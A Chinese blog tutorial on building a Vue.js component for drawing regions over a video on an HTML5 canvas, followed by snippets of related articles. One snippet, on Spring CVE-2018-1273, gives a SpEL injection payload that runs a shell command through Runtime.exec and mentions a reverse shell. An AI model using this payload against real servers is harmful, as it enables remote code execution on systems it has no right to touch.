在视频上绘制区域:使用Vue和JavaScript实现交互式画布

news2024/12/25 15:00:59

        在数字时代,交互式媒体内容的创建和消费变得越来越普遍。特别是视频内容,它不仅提供了视觉信息,还允许用户与之互动,从而增强了用户体验。本文将介绍如何使用Vue.js框架和JavaScript创建一个交互式组件,该组件允许用户在视频上绘制区域。

技术栈简介

为了实现这一功能,我们将使用以下技术:

  1. Vue.js:一个渐进式的JavaScript框架,用于构建用户界面。
  2. HTML5 Canvas:HTML5提供的一个元素,允许通过JavaScript在网页上绘制图形。
  3. JavaScript:用于实现交互逻辑和处理用户输入。

实现步骤

1. 创建Vue组件

首先,我们需要创建一个Vue组件,它将包含视频播放器和用于绘制的画布。

<template>
  <div>
    <div class="btn">
      <el-button
        type="primary"
        plain
        @click="initDraw"
        v-if="isDisabled"
        >开始绘制</el-button
      >
      <el-button type="primary" plain @click="closeDialogCanvas" v-else>
        清除全部</el-button
      >
    </div>
    <div class="videoContainer">
      <video ref="videoPlayer" class="video" :src="videoUrl" controls autoplay></video>
      <div ref="drawArea" class="draw-area">
        <!-- Canvas将被useDraw函数动态创建并添加到DOM中 -->
      </div>
    </div>
  </div>
</template>

2. 引入绘制逻辑

我们将使用一个自定义的JavaScript模块useDraw.js,它封装了绘制逻辑。这个模块提供了初始化画布、绘制图形、清除画布等功能,可去资源库下载完整文件。

import useDraw from './useDraw.js';

3. 初始化和控制绘制

在Vue组件的methods中,我们定义了initDrawclearCanvas方法来初始化画布和清除绘制。

data() {
  return {
    graphCoordinateList: [], // 视频区域数据
    drawInstance: null, // 保存useDraw的实例
    videoUrl: 'https://www.w3schools.com/html/movie.mp4', // 替换为你的视频URL
    isDisabled:true,
  };
},
methods: {
  // 加载画布
  initDraw() {
    this.isDisabled = false;
    const drawArea = this.$refs.drawArea;
    const options = {
      canvasStyle: {
        lineWidth: 2,
        strokeStyle: "red",
        fillStyle: "rgba(255, 0, 0, 0.3)",
      },
      initPoints: this.graphCoordinateList,
      onComplete: (points) => {
        console.log("绘图完成,坐标点:", points);
        this.graphCoordinateList = points;
      },
      onClear: () => {
        console.log("画布已清空");
      },
    };
    // 初始化useDraw,并保存实例引用
    this.drawInstance = useDraw();
    this.drawInstance.init(drawArea, options);
  },
  // 清除画布
  clearCanvas() {
    console.log("清除画布");
    if (this.drawInstance) {
      // 清除画布并重新初始化
      this.drawInstance.onClear(); // 调用useDraw的destroy方法
      this.drawInstance = null; // 重置实例引用
      // this.initDraw(); // 可以重新初始化绘图环境
    }
  },
  // 清除画布-关闭弹窗
  closeDialogCanvas() {
    console.log("清除画布-关闭弹窗");
    this.graphCoordinateList = [];
    if (this.drawInstance) {
      // 清除画布并重新初始化
      this.drawInstance.onClear(); // 调用useDraw的destroy方法
      this.drawInstance = null; // 重置实例引用
      this.initDraw(); // 可以重新初始化绘图环境
    }
  },
  // 父组件调用方法,例: this.$refs.fenceVideoRef.initVideo()
  initVideo() {
    this.$nextTick(res=>{
      console.log(this.graphCoordinateList,this.isDisabled,'视频区域数据');
      if(this.graphCoordinateList.length > 0){
        // 如果有值则渲染区域出来
        this.initDraw();
        this.isDisabled = false
      }else{
        this.isDisabled = true
      }
    })
  },
},

4. 清理资源

在组件销毁前,我们需要清理画布资源,以避免内存泄漏。

// 在组件销毁前清理资源
beforeDestroy() {
  if (this.drawInstance) {
      this.drawInstance.destroy();
  }
},

5. 样式设置

最后,我们需要为视频容器和画布设置样式,以确保它们正确显示。

<style lang="scss" scoped>
.btn {
  display: flex;
  justify-content: space-between;
  margin-bottom: 20px;
  white-space: nowrap;
}

.videoContainer {
  position: relative;
  width: 100%;
  max-width: 100%; /* 根据视频尺寸调整 */
  height: 700px;
  .video {
    width: 100%;
    height: 100%;
    background-color: #000; /* 视频加载前背景色 */
  }

  .draw-area {
    width: 100%;
    height: 90%;
    position: absolute;
    top: 0;
    left: 0;
  }
}
</style>

结论

        通过上述步骤,我们成功地在Vue.js应用中实现了一个交互式的视频绘制组件。用户可以在视频上自由绘制区域,这为视频内容的交互提供了新的可能性。这种技术可以应用于教育、游戏、视频编辑等多个领域,为用户提供更加丰富和个性化的体验。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2159132.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Dify创建自定义工具,调用ASP.NET Core WebAPI时的注意事项(出现错误:Reached maximum retries (3) for URL ...)

1、要配置Swagger using Microsoft.AspNetCore.Mvc; using Microsoft.OpenApi.Models;var builder WebApplication.CreateBuilder(args);builder.Services.AddCors(options > {options.AddPolicy("AllowSpecificOrigin",builder > builder.WithOrigins("…

vcruntime140_1.dll无法继续执行代码的6种解决方法

在计算机编程和软件开发中&#xff0c;我们经常会遇到各种错误和问题。其中&#xff0c;vcruntime140_1.dll无法继续执行代码是一个常见的问题。这个问题可能会导致程序崩溃&#xff0c;影响我们的工作进度。因此&#xff0c;了解这个问题的原因以及如何解决它是非常重要的。 …

LinuxC高级作业4

1.整理思维导图 2.统计家目录下.c文件的个数 #!/bin/bash# 初始化计数器 count0# 使用for循环遍历家目录下的所有文件 for file in ~/*; do# 检查文件是否以.c结尾if [[ $file *.c ]]; then# 如果是.c文件&#xff0c;则计数器加1count$((count 1))fi done# 输出结果 echo &…

AURIX单片机示例:开发入门与点亮LED

文章目录 目的模板工程Blinky_LED示例链接总结 目的 这个例程比较简单&#xff0c;主要通过这个例程来介绍 AURIX™ Development Studio(ADS) 和 iLLD 库来开发 AURIX 系列单片机一些入门的内容。一些更为基础的资料等内容可以参考下面文章&#xff1a; 《英飞凌 AURIX TriCo…

解决ArmDS Fast Models 中部分内核无法上电的问题

【更多软件使用问题请点击亿道电子官方网站】 1、 文档目标 解决ArmDS Fast Models 中部分内核无法上电的问题。 2、 问题场景 在调用ArmDS的Fast Models中的Cortex-A55的模型&#xff0c;只有Core 0是上电状态&#xff0c;而Core 1处于掉电状态&#xff0c;如图2-1所示&…

使用 HFD 加快 Hugging Face 模型和数据集的下载,解决443报错

Hugging Face 提供了丰富的预训练模型和数据集&#xff0c;而且使用 Hugging Face 提供的 from_pretrained() 方法可以轻松加载它们&#xff0c;但是&#xff0c;模型和数据集文件通常体积庞大&#xff0c;用默认方法下载起来非常花时间。 本文将指导你如何使用 HFD&#xff08…

研一奖学金计划2024/9/23有感

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、需要认真上课的1.应用数理统计&#xff08;开卷考试&#xff09;2.最优化方法&#xff08;开卷考试&#xff09;3.跨文化交际&#xff08;主题演讲20课堂讨…

【C++算法】分治——快排

颜色分类 题目链接 颜色分类https://leetcode.cn/problems/sort-colors/description/ 算法原理 代码步骤 class Solution { public:void sortColors(vector<int>& nums) {int n nums.size();int i 0, left -1, right n;while(i < right){if(nums[i] 0) s…

OpenBayes 教程上新|让虚拟偶像活起来!LivePortrait 实现超逼真表情迁移

过去&#xff0c;使用单一图像生成动态视频效果需要复杂的动画技术和大量的手工操作。特别是在控制眼睛和嘴唇等细节上&#xff0c;耗时且难以实现逼真的同步效果。 LivePortrait 在最新版本中通过精确的画像编辑和视频编辑等功能&#xff0c;极大地简化了这一过程。创作者可以…

spring 代码执⾏ (CVE-2018-1273)

开启环境后访问 IP/users 抓包修改加上 poc &#xff1a; username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/crz")]&password&repeatedPassword 回到kali docker exec -it 自己的id /bin/bash 反弹shel…

[spring]MyBatis介绍 及 用MyBatis操作简单数据库

文章目录 一. 什么是MyBatis二. MyBatis操作数据库步骤创建工程创建数据库创建对应实体类配置数据库连接字符串写持久层代码单元测试 三. MyBatis基础操作打印日志参数传递增删改查 四. MyBatis XML配置文件配置链接字符串和MyBatis写持久层代码方法定义Interface方法实现xml测…

摩尔-彭罗斯伪逆(pinv)

摩尔-彭罗斯伪逆是一种矩阵&#xff0c;可在不存在逆矩阵的情况下作为逆矩阵的部分替代。此矩阵常被用于求解没有唯一解或有许多解的线性方程组。 对于任何矩阵 A 来说&#xff0c;伪逆 B 都存在&#xff0c;是唯一的&#xff0c;并且具有与 A’ 相同的维度。如果 A 是方阵且非…

fastson与jackson重点笔记(包入门)

一&#xff0c;简介 json: JavaScript Object Notation, JS对象简谱。 官网&#xff1a;JSON官网 二&#xff0c;使用场景 网络传输 ​ 描述同样的信息&#xff0c;json相比xml占用更少的空间, <?xml version"1.0" encoding"uTF-8"?> <pers…

S32K3 工具篇8:如何移植RTD MCAL现有demo到其他K3芯片

S32K3 工具篇8&#xff1a;如何移植RTD MCAL现有demo到其他K3芯片 一&#xff0c;文档简介二 &#xff0c;平台以及移植步骤2.1 平台说明2.2 移植步骤2.2.1 拷贝工程并配置2.2.1.1 拷贝工程2.2.1.2 配置工程 2.2.2 EB 工程配置 三&#xff0c; 命令行编译及其结果测试四&#x…

【学习笔记】Linux系统基础知识3 —— cd命令详解

一、前期准备 1.已经正确安装并成功进入Linux系统 说明&#xff1a;本实验采用的 Redhat 系统&#xff08;因系统不一致&#xff0c;可能部分显示存在差异&#xff09; 二、学习内容 提示&#xff1a;学习Linux系统基础命令 cd 命令详解 1、cd命令 1. 功能说明 cd 命令用…

AI模型对比研究员创意

大语言模型可以接受训练&#xff0c;完成许多任务。其中最广为人知的用途之一是作为生成式人工智能&#xff1a;当收到提示或被问到问题时&#xff0c;它们可以生成文本作为答复。例如&#xff0c;公开的大语言模型 ChatGPT 可以根据用户输入生成文章、诗歌和其他文本形式。 任…

kettle从入门到精通 第八十七课 ETL之kettle kettle文件上传

1、kettle本身文件上传功能不是很友好&#xff0c;甚至是不能直接使用&#xff0c;需要调整文件上传接口才可以正常接收到文件&#xff0c;本次讲解内容主要是通过自定义插件解决这个问题。 2、通过springboot 编写简单demo&#xff0c;模拟文件上传&#xff0c;接口支持三个参…

vue-router路由(重定向,嵌套,动态路由匹配,命名,高亮,守卫)

一、前端路由的概念与原理 路由router就是对应关系。分为前端路由和后端路由。 1后端路由 后端路由指的是&#xff1a;请求方式、请求地址与function处理函数之间的对应关系。在node.js中&#xff0c;express理由的基本用法如下&#xff1a; const express require(expres…

Simple Calculator(算法初阶,代码基础,“纯”手撕)

简单计算器&#xff1a;仅适用无括号加减乘除&#xff0c;算法初阶&#xff0c;代码基础&#xff0c;不调库或模块“纯”手撕。 (笔记模板由python脚本于2024年09月22日 12:08:02创建&#xff0c;本篇笔记适合喜欢用python解决实际问题的coder翻阅) 【学习的细节是欢悦的历程】…

有关在.Net Core中以TEXT类型将Json格式字段存到数据库的学习

导言 在写个值日接口时发现值日表中的值日时段是可以分多段的&#xff0c;想了想可以使用Json类型来存&#xff0c;不过之前没接触过在后端操作Json格式存到数据库的情况&#xff0c;之后学也了解到了一下方法来实现&#xff0c;故记录一下。 过程 从前端到后端再到数据库的 JS…